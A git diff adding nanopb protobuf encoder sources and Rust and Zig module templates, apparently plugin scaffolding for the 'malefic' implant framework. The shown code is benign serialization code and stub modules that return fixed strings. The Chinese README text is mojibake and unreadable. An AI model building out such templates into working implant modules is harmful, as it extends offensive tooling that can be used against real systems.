(PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES)) + { + bool status; + void *pData_orig = field->pData; + field->pData = *(void* const*)field->pData; + + if (!field->pData) + { + /* Null pointer in array is treated as empty string / bytes */ + status = pb_encode_tag_for_field(stream, field) && + pb_encode_varint(stream, 0); + } + else + { + status = encode_basic_field(stream, field); + } + + field->pData = pData_orig; + + if (!status) + return false; + } + else + { + if (!encode_basic_field(stream, field)) + return false; + } + field->pData = (char*)field->pData + field->data_size; + } + } + + return true; +} + +/* In proto3, all fields are optional and are only encoded if their value is "non-zero". + * This function implements the check for the zero value. */ +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field) +{ + pb_type_t type = field->type; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + if (PB_HTYPE(type) == PB_HTYPE_REQUIRED) + { + /* Required proto2 fields inside proto3 submessage, pretty rare case */ + return false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* Repeated fields inside proto3 submessage: present if count != 0 */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* Oneof fields */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Proto2 optional fields inside proto3 message, or proto3 + * submessage fields. */ + return safe_read_bool(field->pSize) == false; + } + else if (field->descriptor->default_value) + { + /* Proto3 messages do not have default values, but proto2 messages + * can contain optional fields without has_fields (generator option 'proto3'). + * In this case they must always be encoded, to make sure that the + * non-zero default value is overwritten. + */ + return false; + } + + /* Rest is proto3 singular fields */ + if (PB_LTYPE(type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Simple integer / float fields */ + pb_size_t i; + const char *p = (const char*)field->pData; + for (i = 0; i < field->data_size; i++) + { + if (p[i] != 0) + { + return false; + } + } + + return true; + } + else if (PB_LTYPE(type) == PB_LTYPE_BYTES) + { + const pb_bytes_array_t *bytes = (const pb_bytes_array_t*)field->pData; + return bytes->size == 0; + } + else if (PB_LTYPE(type) == PB_LTYPE_STRING) + { + return *(const char*)field->pData == '\0'; + } + else if (PB_LTYPE(type) == PB_LTYPE_FIXED_LENGTH_BYTES) + { + /* Fixed length bytes is only empty if its length is fixed + * as 0. Which would be pretty strange, but we can check + * it anyway. */ + return field->data_size == 0; + } + else if (PB_LTYPE_IS_SUBMSG(type)) + { + /* Check all fields in the submessage to find if any of them + * are non-zero. The comparison cannot be done byte-per-byte + * because the C struct may contain padding bytes that must + * be skipped. Note that usually proto3 submessages have + * a separate has_field that is checked earlier in this if. + */ + pb_field_iter_t iter; + if (pb_field_iter_begin(&iter, field->submsg_desc, field->pData)) + { + do + { + if (!pb_check_proto3_default_value(&iter)) + { + return false; + } + } while (pb_field_iter_next(&iter)); + } + return true; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + return field->pData == NULL; + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + return extension == NULL; + } + else if (field->descriptor->field_callback == pb_default_field_callback) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + return pCallback->funcs.encode == NULL; + } + else + { + return field->descriptor->field_callback == NULL; + } + } + + return false; /* Not typically reached, safe default for weird special cases. */ +} + +/* Encode a field with static or pointer allocation, i.e. one whose data + * is available to the encoder directly. */ +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (!field->pData) + { + /* Missing pointer field */ + return true; + } + + if (!pb_encode_tag_for_field(stream, field)) + return false; + + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + return pb_enc_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + return pb_enc_varint(stream, field); + + case PB_LTYPE_FIXED32: + case PB_LTYPE_FIXED64: + return pb_enc_fixed(stream, field); + + case PB_LTYPE_BYTES: + return pb_enc_bytes(stream, field); + + case PB_LTYPE_STRING: + return pb_enc_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + return pb_enc_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + return pb_enc_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Encode a field with callback semantics. This means that a user function is + * called to provide and encode the actual data. */ +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->descriptor->field_callback != NULL) + { + if (!field->descriptor->field_callback(NULL, stream, field)) + PB_RETURN_ERROR(stream, "callback error"); + } + return true; +} + +/* Encode a single field of any callback, pointer or static type. */ +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field) +{ + /* Check field presence */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (*(const pb_size_t*)field->pSize != field->tag) + { + /* Different type oneof field */ + return true; + } + } + else if (PB_HTYPE(field->type) == PB_HTYPE_OPTIONAL) + { + if (field->pSize) + { + if (safe_read_bool(field->pSize) == false) + { + /* Missing optional field */ + return true; + } + } + else if (PB_ATYPE(field->type) == PB_ATYPE_STATIC) + { + /* Proto3 singular field */ + if (pb_check_proto3_default_value(field)) + return true; + } + } + + if (!field->pData) + { + if (PB_HTYPE(field->type) == PB_HTYPE_REQUIRED) + PB_RETURN_ERROR(stream, "missing required field"); + + /* Pointer field set to NULL */ + return true; + } + + /* Then encode field contents */ + if (PB_ATYPE(field->type) == PB_ATYPE_CALLBACK) + { + return encode_callback_field(stream, field); + } + else if (PB_HTYPE(field->type) == PB_HTYPE_REPEATED) + { + return encode_array(stream, field); + } + else + { + return encode_basic_field(stream, field); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension_const(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + return encode_field(stream, &iter); +} + + +/* Walk through all the registered extensions and give them a chance + * to encode themselves. */ +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + + while (extension) + { + bool status; + if (extension->type->encode) + status = extension->type->encode(stream, extension); + else + status = default_extension_encoder(stream, extension); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/********************* + * Encode all fields * + *********************/ + +bool checkreturn pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_field_iter_t iter; + if (!pb_field_iter_begin_const(&iter, fields, src_struct)) + return true; /* Empty message type */ + + do { + if (PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* Special case for the extension field placeholder */ + if (!encode_extension_field(stream, &iter)) + return false; + } + else + { + /* Regular field */ + if (!encode_field(stream, &iter)) + return false; + } + } while (pb_field_iter_next(&iter)); + + return true; +} + +bool checkreturn pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags) +{ + if ((flags & PB_ENCODE_DELIMITED) != 0) + { + return pb_encode_submessage(stream, fields, src_struct); + } + else if ((flags & PB_ENCODE_NULLTERMINATED) != 0) + { + const pb_byte_t zero = 0; + + if (!pb_encode(stream, fields, src_struct)) + return false; + + return pb_write(stream, &zero, 1); + } + else + { + return pb_encode(stream, fields, src_struct); + } +} + +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_ostream_t stream = PB_OSTREAM_SIZING; + + if (!pb_encode(&stream, fields, src_struct)) + return false; + + *size = stream.bytes_written; + return true; +} + +/******************** + * Helper functions * + ********************/ + +/* This function avoids 64-bit shifts as they are quite slow on many platforms. */ +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high) +{ + size_t i = 0; + pb_byte_t buffer[10]; + pb_byte_t byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + + while (i < 4 && (low != 0 || high != 0)) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + } + + if (high) + { + byte = (pb_byte_t)(byte | ((high & 0x07) << 4)); + high >>= 3; + + while (high) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(high & 0x7F); + high >>= 7; + } + } + + buffer[i++] = byte; + + return pb_write(stream, buffer, i); +} + +bool checkreturn pb_encode_varint(pb_ostream_t *stream, pb_uint64_t value) +{ + if (value <= 0x7F) + { + /* Fast path: single byte */ + pb_byte_t byte = (pb_byte_t)value; + return pb_write(stream, &byte, 1); + } + else + { +#ifdef PB_WITHOUT_64BIT + return pb_encode_varint_32(stream, value, 0); +#else + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)(value >> 32)); +#endif + } +} + +bool checkreturn pb_encode_svarint(pb_ostream_t *stream, pb_int64_t value) +{ + pb_uint64_t zigzagged; + pb_uint64_t mask = ((pb_uint64_t)-1) >> 1; /* Satisfy clang -fsanitize=integer */ + if (value < 0) + zigzagged = ~(((pb_uint64_t)value & mask) << 1); + else + zigzagged = (pb_uint64_t)value << 1; + + return pb_encode_varint(stream, zigzagged); +} + +bool checkreturn pb_encode_fixed32(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 4); +#else + uint32_t val = *(const uint32_t*)value; + pb_byte_t bytes[4]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + return pb_write(stream, bytes, 4); +#endif +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_encode_fixed64(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 8); +#else + uint64_t val = *(const uint64_t*)value; + pb_byte_t bytes[8]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + bytes[4] = (pb_byte_t)((val >> 32) & 0xFF); + bytes[5] = (pb_byte_t)((val >> 40) & 0xFF); + bytes[6] = (pb_byte_t)((val >> 48) & 0xFF); + bytes[7] = (pb_byte_t)((val >> 56) & 0xFF); + return pb_write(stream, bytes, 8); +#endif +} +#endif + +bool checkreturn pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number) +{ + pb_uint64_t tag = ((pb_uint64_t)field_number << 3) | wiretype; + return pb_encode_varint(stream, tag); +} + +bool pb_encode_tag_for_field ( pb_ostream_t* stream, const pb_field_iter_t* field ) +{ + pb_wire_type_t wiretype; + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + wiretype = PB_WT_VARINT; + break; + + case PB_LTYPE_FIXED32: + wiretype = PB_WT_32BIT; + break; + + case PB_LTYPE_FIXED64: + wiretype = PB_WT_64BIT; + break; + + case PB_LTYPE_BYTES: + case PB_LTYPE_STRING: + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + case PB_LTYPE_FIXED_LENGTH_BYTES: + wiretype = PB_WT_STRING; + break; + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } + + return pb_encode_tag(stream, wiretype, field->tag); +} + +bool checkreturn pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size) +{ + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + return pb_write(stream, buffer, size); +} + +bool checkreturn pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + /* First calculate the message size using a non-writing substream. */ + pb_ostream_t substream = PB_OSTREAM_SIZING; + size_t size; + bool status; + + if (!pb_encode(&substream, fields, src_struct)) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + return false; + } + + size = substream.bytes_written; + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing */ + + if (stream->bytes_written + size > stream->max_size) + PB_RETURN_ERROR(stream, "stream full"); + + /* Use a substream to verify that a callback doesn't write more than + * what it did the first time. */ + substream.callback = stream->callback; + substream.state = stream->state; + substream.max_size = size; + substream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + substream.errmsg = NULL; +#endif + + status = pb_encode(&substream, fields, src_struct); + + stream->bytes_written += substream.bytes_written; + stream->state = substream.state; +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + + if (substream.bytes_written != size) + PB_RETURN_ERROR(stream, "submsg size changed"); + + return status; +} + +/* Field encoders */ + +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + uint32_t value = safe_read_bool(field->pData) ? 1 : 0; + PB_UNUSED(field); + return pb_encode_varint(stream, value); +} + +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + /* Perform unsigned integer extension */ + pb_uint64_t value = 0; + + if (field->data_size == sizeof(uint_least8_t)) + value = *(const uint_least8_t*)field->pData; + else if (field->data_size == sizeof(uint_least16_t)) + value = *(const uint_least16_t*)field->pData; + else if (field->data_size == sizeof(uint32_t)) + value = *(const uint32_t*)field->pData; + else if (field->data_size == sizeof(pb_uint64_t)) + value = *(const pb_uint64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + return pb_encode_varint(stream, value); + } + else + { + /* Perform signed integer extension */ + pb_int64_t value = 0; + + if (field->data_size == sizeof(int_least8_t)) + value = *(const int_least8_t*)field->pData; + else if (field->data_size == sizeof(int_least16_t)) + value = *(const int_least16_t*)field->pData; + else if (field->data_size == sizeof(int32_t)) + value = *(const int32_t*)field->pData; + else if (field->data_size == sizeof(pb_int64_t)) + value = *(const pb_int64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + return pb_encode_svarint(stream, value); +#ifdef PB_WITHOUT_64BIT + else if (value < 0) + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)-1); +#endif + else + return pb_encode_varint(stream, (pb_uint64_t)value); + + } +} + +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field) +{ +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float) && PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + return pb_encode_float_as_double(stream, *(float*)field->pData); + } +#endif + + if (field->data_size == sizeof(uint32_t)) + { + return pb_encode_fixed32(stream, field->pData); + } +#ifndef PB_WITHOUT_64BIT + else if (field->data_size == sizeof(uint64_t)) + { + return pb_encode_fixed64(stream, field->pData); + } +#endif + else + { + PB_RETURN_ERROR(stream, "invalid data_size"); + } +} + +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_bytes_array_t *bytes = NULL; + + bytes = (const pb_bytes_array_t*)field->pData; + + if (bytes == NULL) + { + /* Treat null pointer as an empty bytes field */ + return pb_encode_string(stream, NULL, 0); + } + + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + bytes->size > field->data_size - offsetof(pb_bytes_array_t, bytes)) + { + PB_RETURN_ERROR(stream, "bytes size exceeded"); + } + + return pb_encode_string(stream, bytes->bytes, (size_t)bytes->size); +} + +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + size_t size = 0; + size_t max_size = (size_t)field->data_size; + const char *str = (const char*)field->pData; + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + max_size = (size_t)-1; + } + else + { + /* pb_dec_string() assumes string fields end with a null + * terminator when the type isn't PB_ATYPE_POINTER, so we + * shouldn't allow more than max-1 bytes to be written to + * allow space for the null terminator. + */ + if (max_size == 0) + PB_RETURN_ERROR(stream, "zero-length string"); + + max_size -= 1; + } + + + if (str == NULL) + { + size = 0; /* Treat null pointer as an empty string */ + } + else + { + const char *p = str; + + /* strnlen() is not always available, so just use a loop */ + while (size < max_size && *p != '\0') + { + size++; + p++; + } + + if (*p != '\0') + { + PB_RETURN_ERROR(stream, "unterminated string"); + } + } + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8(str)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return pb_encode_string(stream, (const pb_byte_t*)str, size); +} + +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.encode) + { + if (!callback->funcs.encode(stream, field, &callback->arg)) + return false; + } + } + + return pb_encode_submessage(stream, field->submsg_desc, field->pData); +} + +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + return pb_encode_string(stream, (const pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_encode_float_as_double(pb_ostream_t *stream, float value) +{ + union { float f; uint32_t i; } in; + uint_least8_t sign; + int exponent; + uint64_t mantissa; + + in.f = value; + + /* Decompose input value */ + sign = (uint_least8_t)((in.i >> 31) & 1); + exponent = (int)((in.i >> 23) & 0xFF) - 127; + mantissa = in.i & 0x7FFFFF; + + if (exponent == 128) + { + /* Special value (NaN etc.) */ + exponent = 1024; + } + else if (exponent == -127) + { + if (!mantissa) + { + /* Zero */ + exponent = -1023; + } + else + { + /* Denormalized */ + mantissa <<= 1; + while (!(mantissa & 0x800000)) + { + mantissa <<= 1; + exponent--; + } + mantissa &= 0x7FFFFF; + } + } + + /* Combine fields */ + mantissa <<= 29; + mantissa |= (uint64_t)(exponent + 1023) << 52; + mantissa |= (uint64_t)sign << 63; + + return pb_encode_fixed64(stream, &mantissa); +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h new file mode 100644 index 0000000..6dc089d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h @@ -0,0 +1,195 @@ +/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c. + * The main function is pb_encode. You also need an output stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_ENCODE_H_INCLUDED +#define PB_ENCODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom output streams. You will need to provide + * a callback function to write the bytes to your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause encoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer). + * 3) pb_write will update bytes_written after your callback runs. + * 4) Substreams will modify max_size and bytes_written. Don't use them + * to calculate any pointers. + */ +struct pb_ostream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + * Also, NULL pointer marks a 'sizing stream' that does not + * write anything. + */ + const int *callback; +#else + bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_ostream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Limit number of output bytes written. Can be set to SIZE_MAX. */ + size_t max_size; + + /* Number of bytes written so far. */ + size_t bytes_written; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +/*************************** + * Main encoding functions * + ***************************/ + +/* Encode a single protocol buffers message from C structure into a stream. + * Returns true on success, false on any failure. + * The actual struct pointed to by src_struct must match the description in fields. + * All required fields in the struct are assumed to have been filled in. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_ostream_t stream; + * + * msg.field1 = 42; + * stream = pb_ostream_from_buffer(buffer, sizeof(buffer)); + * pb_encode(&stream, MyMessage_fields, &msg); + */ +bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +/* Extended version of pb_encode, with several options to control the + * encoding process: + * + * PB_ENCODE_DELIMITED: Prepend the length of message as a varint. + * Corresponds to writeDelimitedTo() in Google's + * protobuf API. + * + * PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination. + * NOTE: This behaviour is not supported in most other + * protobuf implementations, so PB_ENCODE_DELIMITED + * is a better option for compatibility. + */ +#define PB_ENCODE_DELIMITED 0x02U +#define PB_ENCODE_NULLTERMINATED 0x04U +bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED) +#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED) + +/* Encode the message to get the size of the encoded data, but do not store + * the data. */ +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an output stream for writing into a memory buffer. + * The number of bytes written can be found in stream.bytes_written after + * encoding the message. + * + * Alternatively, you can use a custom stream that writes directly to e.g. + * a file or a network socket. + */ +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize); + +/* Pseudo-stream for measuring the size of a message without actually storing + * the encoded data. + * + * Example usage: + * MyMessage msg = {}; + * pb_ostream_t stream = PB_OSTREAM_SIZING; + * pb_encode(&stream, MyMessage_fields, &msg); + * printf("Message size is %d\n", stream.bytes_written); + */ +#ifndef PB_NO_ERRMSG +#define PB_OSTREAM_SIZING {0,0,0,0,0} +#else +#define PB_OSTREAM_SIZING {0,0,0,0} +#endif + +/* Function to write into a pb_ostream_t stream. You can use this if you need + * to append or prepend some custom headers to the message. + */ +bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Encode field header based on type and field number defined in the field + * structure. Call this from the callback before writing out field contents. */ +bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field); + +/* Encode field header by manually specifying wire type. You need to use this + * if you want to write out packed arrays from a callback field. */ +bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number); + +/* Encode an integer in the varint format. + * This works for bool, enum, int32, int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_varint(pb_ostream_t *stream, uint64_t value); +#else +bool pb_encode_varint(pb_ostream_t *stream, uint32_t value); +#endif + +/* Encode an integer in the zig-zagged svarint format. + * This works for sint32 and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_svarint(pb_ostream_t *stream, int64_t value); +#else +bool pb_encode_svarint(pb_ostream_t *stream, int32_t value); +#endif + +/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */ +bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size); + +/* Encode a fixed32, sfixed32 or float value. + * You need to pass a pointer to a 4-byte wide C variable. */ +bool pb_encode_fixed32(pb_ostream_t *stream, const void *value); + +#ifndef PB_WITHOUT_64BIT +/* Encode a fixed64, sfixed64 or double value. + * You need to pass a pointer to a 8-byte wide C variable. */ +bool pb_encode_fixed64(pb_ostream_t *stream, const void *value); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Encode a float value so that it appears like a double in the encoded + * message. */ +bool pb_encode_float_as_double(pb_ostream_t *stream, float value); +#endif + +/* Encode a submessage field. + * You need to pass the pb_field_t array and pointer to struct, just like + * with pb_encode(). This internally encodes the submessage twice, first to + * calculate message size and then to actually write it out. + */ +bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-rust/Cargo.toml b/malefic-3rd-template/malefic-3rd-rust/Cargo.toml new file mode 100644 index 0000000..5d86cea --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-rust/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "malefic-3rd-rust" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_3rd_rust" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } diff --git a/malefic-3rd-template/malefic-3rd-rust/README.md b/malefic-3rd-template/malefic-3rd-rust/README.md new file mode 100644 index 0000000..d1d0276 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-rust/README.md @@ -0,0 +1,61 @@ +# malefic-3rd-rust + +Rust 语言模å—,直接使用 `malefic-proto` å’Œ `malefic-trait` æä¾›çš„ trait å’Œå®ã€‚ + +## å‰ç½®è¦æ±‚ + +- Rust toolchain(与 workspace 一致) + +## 目录结构 + +``` +malefic-3rd-rust/ +├── Cargo.toml +└── src/ + └── lib.rs # 模å—实现 +``` + +## ç¼–å†™æ¨¡å— + +```rust +use async_trait::async_trait; +use malefic_trait::module_impl; +use malefic_proto::prelude::*; + +pub struct YourModule {} + +#[async_trait] +#[module_impl("your_module")] // 模å—å,用于注册和调度 +impl Module for YourModule {} + +#[async_trait] +impl ModuleImpl for YourModule { + async fn run( + &mut self, + id: u32, + receiver: &mut Input, + sender: &mut Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let response = Response { + output: format!("hello, input: {}", request.input), + ..Default::default() + }; + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} + +pub fn register(map: &mut MaleficBundle) { + let module = YourModule::new(); + map.insert(::name().to_string(), Box::new(module)); +} +``` + +`#[module_impl("your_module")]` å®ä¼šè‡ªåŠ¨ç”Ÿæˆ `Module` trait çš„ `name()` / `new()` / `new_instance()` 方法。 + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,rust_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-rust/src/lib.rs b/malefic-3rd-template/malefic-3rd-rust/src/lib.rs new file mode 100644 index 0000000..dfa976c --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-rust/src/lib.rs @@ -0,0 +1,20 @@ +use malefic_3rd_ffi::{RtModule, RtChannel, RtResult, Body, Response}; + +pub struct RustModule; + +impl RtModule for RustModule { + fn name() -> &'static str { "rust_module" } + fn new() -> Self { Self } + + fn run(&mut self, _task_id: u32, ch: &RtChannel) -> RtResult { + match ch.recv() { + Ok(Body::Request(_)) => {} + Ok(_) => return RtResult::Error("expected Body::Request".into()), + Err(e) => return RtResult::Error(e.to_string()), + } + RtResult::Done(Body::Response(Response { + output: "this is rust module".to_string(), + ..Default::default() + })) + } +} diff --git a/malefic-3rd-template/malefic-3rd-zig/Cargo.toml b/malefic-3rd-template/malefic-3rd-zig/Cargo.toml new file mode 100644 index 0000000..c4ec9a7 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-3rd-zig" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_zig" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } + +[build-dependencies] +cc = "1" diff --git a/malefic-3rd-template/malefic-3rd-zig/README.md b/malefic-3rd-template/malefic-3rd-zig/README.md new file mode 100644 index 0000000..217f84d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/README.md @@ -0,0 +1,102 @@ +# malefic-3rd-zig + +Zig 语言模å—,通过 `@cImport` 直接导入 nanopb C 头文件,无需手写绑定。 + +## å‰ç½®è¦æ±‚ + +- [Zig](https://ziglang.org/download/) 0.13+(需在 PATH 中) + +## 目录结构 + +``` +malefic-3rd-zig/ +├── Cargo.toml +├── build.rs # cc 编译 nanopb + zig build-obj +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 + └── zig/ + ├── nanopb/ # nanopb æºç  + ├── malefic/ # protobuf ç”Ÿæˆæ–‡ä»¶ (module.pb.c/h) + └── example/ + └── example.zig # ç¤ºä¾‹æ¨¡å— +``` + +## 构建æµç¨‹ + +`build.rs` 自动完æˆä»¥ä¸‹æ­¥éª¤ï¼š + +1. `cc` crate 编译 nanopb core + `module.pb.c` → 陿€åº“ +2. `zig build-obj` 编译 `.zig` → `.obj`(带 `-lc` 链接 libc) +3. `cc` crate å°† zig object 